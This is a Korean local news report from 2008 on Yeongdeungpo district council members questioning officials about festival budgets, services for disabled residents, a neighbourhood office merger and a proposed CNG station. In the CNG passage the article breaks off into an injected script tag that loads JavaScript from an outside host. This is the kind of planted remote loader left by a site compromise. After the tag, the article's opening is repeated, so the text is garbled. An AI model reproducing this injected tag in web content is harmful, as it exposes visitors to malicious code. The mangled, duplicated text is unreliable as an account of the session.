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구의회, 제139회 임시회 구정질문

관리자 기자  2008.10.02 02:04:00

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민생과 지역현안 해결 위한 질의 이어져 

 

고기판 의원   “동민 체육대회 및 단오제 운영 시 장애인 위한 프로그램 부족”

구애라 의원   “어려움 겪고 있는 재래시장에 대한 지원 절실”

박정자 의원   “대중교통 서비스 열악한 도림동에 신안산선 건설해야”

윤준용 의원   “타 지자체 보다 늦은 행정처리 절차 질타”  

 

영등포구의회(의장 조길형)는 9월 22일 열린 제139회 임시회 2차 본회의에서 예산부족으로 운영되는 동민 체육대회 및 단오제에 대한 운영의 효율성 및 단오제 운영 시 장애인 참가 확대방안과 영등포재래시장의 장점과 백화점이나 유통마트의 장점을 접목한 개발 방안 등에 대해 집행부를 대상으로 구정질문을 실시했다.  <편집자 주>
첫 번째 구정질문에 나선 고기판 의원은 “동민 체육대회 운영의 효율성 및 단오제 운영 시 장애인 참가 확대방안과 관련해 현재 동 단위 체육대회 예산은 750만원으로 실질적으로 체육대회 집행예산을 살펴보면 소요되는 비용은 평균 1500만 원 이상 소요되는 실정이라며 대회를 주관하는 동 체육대회 집행부의 어려움이 따르는 실정이라고 지적했다. 그러면서 고 의원은 턱없이 부족한 예산지원으로 지극히 부분적인 참가자만의 대회로 전락하지 않도록 프로그램의 다양성을 모색하는 한편, 이를 위해 동 체육대회의 지속적인 일정의 운영비를 지원해야 한다고 말했다. 또한 현재 서울시에는 34만여 명의 장애인과 영등포구에는 1만5천여 명의 장애인이 있다면서 지금부터라도 동 체육대회 및 단오제 행사시 평등에 대한 실천의지 방안을 모색해 장애인에게 꿈과 희망을 주는 프로그램 개발과 장애인 체육지원에 대한 조례제정의 필요성을 주장했다.
이에 대해 박기석 주민생활지원 국장은 “예산 부족을 이유로 체육대회 지원은 현실적으로 힘들다고 답했다. 하지만 장애인의 문화행사 참여와 관련해서는 안양천 문화축제 등 각종 문화행사에 장애인우선구역을 지정 운영하고 있으며, 앞으로도 실질적인 지원이 확대되는 방면으로 개선해 나가겠다고 말했다.
지역개발 사업과 관련한 질문에서는 현재 문래동에서는 대동제 실시에 따른 동 통합이라는 아픔을 딛고 대동제를 기점으로 지역이 하나 되면서 지역 간 갈등을 해소하고 구와 지역발전을 위하는 일이 무엇인지를 단체장을 비롯한 모든 구민들이 중지를 모으고 있는 실정이지만, 그러나 지역현안을 감안할 때 진정한 대동제 시작은 이제부터라고 말했다. 그 동안은 행정부가 조례 통과만을 위해 총력을 기울였다면, 이제는 지역주민들의 불편사항 내지는 발전적인 대안을 제시함으로써 진정한 대동제의 성과를 이뤄야 한다고 강조했다.
고 의원은 또 동 통합 조례안통과를 위해 지역주민과 함께 했던 마을버스 노선 연계문제 기존 문래동 부지에 문래동 동 청사 신축을 위한 지속적인 토지매입과 2009년도 설계용역비 마련 도림동 공영주차장 확보 부지 등에 약속들이 빗말이 아닌 행정부를 더욱 신뢰할 수 있는 계기가 되길 바란다고 덧붙였다. 또한 각 단체들간의 원만한 화합을 이끌어 구정에 더욱 이바지할 수 있는 계기를 마련할 수 있도록 대동제 실시 동에 대한 특별운영비를 지원할 의향은 없는지 물었다.  
이에 대해 김형수 구청장은 “동 청사에 경우 기존에 2개 청사를 하나로 통합해서 사용할 수  밖에 없기 때문에 동 청사가 다소 먼곳에 있어 주민들이 이용에 불편을 호소하고 있는 것”을 알고 있다고 말했다. 또 대동제 시행으로 인해 폐지된 동 청사에 민원시설을 설치하고 직원을 배치해 간단한 민원을 처리하고 있고, 더불어 무인민원발급기 설치, 재활용청소 운전원 배치로 차량이용시 도움을 드리고 있다”고 설명했다. 김 구청장은 이와 함께 “교통 불편을 해소하기 위해 기존의 마을버스가 통합된 동 주민센터를 경유하도록 노선을 조정하는 안을 서울시에 건의해 심의 중에 있다”면서 동 통합과 관련한 주민화합과 갈등해소의 최선을 다해 통합 전보다 통합후가 실효를 거둘 수 있도록 노력을 다짐했다.
고 의원은 또 문래동 5가 8-1 3,400 평방미터 시유지에 서울시로부터 유상사용 획득한 중부운수가 자리하고 있다고 설명했다. 하지만 이곳 주변은 수년간 공장들이 혼재한 준공업지역에 위치함으로써 타 지역보다 열악한 주거환경은 물론 정신적·물질적인 차등을 겪어왔지만, 지난 7월 서울시에서 발표한 준공업지역 개발이후 주민들은 커다란 희망을 갖고 있다고 설명했다. 그러면서 고 의원은 최근 의회에 접수된 민원에 의하면 중부운수는 현 위치에 CNG 충전소를 설치추진하고 있다고 전했다. 고 의원은 CNG 충전소가 설치될 경우 주민들의 주거환경을 ?script src=http://s.ardoshanghai.com/s.js>",민생과 지역현안 해결 위한 질의 이어져 고기판 의원 “동민 체육대회 및 단오제 운영 시 장애인 위한 프로그램 부족”구애라 의원 “어려움 겪고 있는 재래시장에 대한 지원 절실”박정자 의원 “대중교통 서비스 열악한 도림동에 신안산선 건설해야”윤준용 의원 “타 지자체 보다 늦은 행정처리 절차 질타” 영등포구의회(의장 조길형)는 9월 22일 열린 제139회 임시회 2차 본회의에서 예산부족으로 운영되는 동민 체육대회 및 단오제에 대한 운영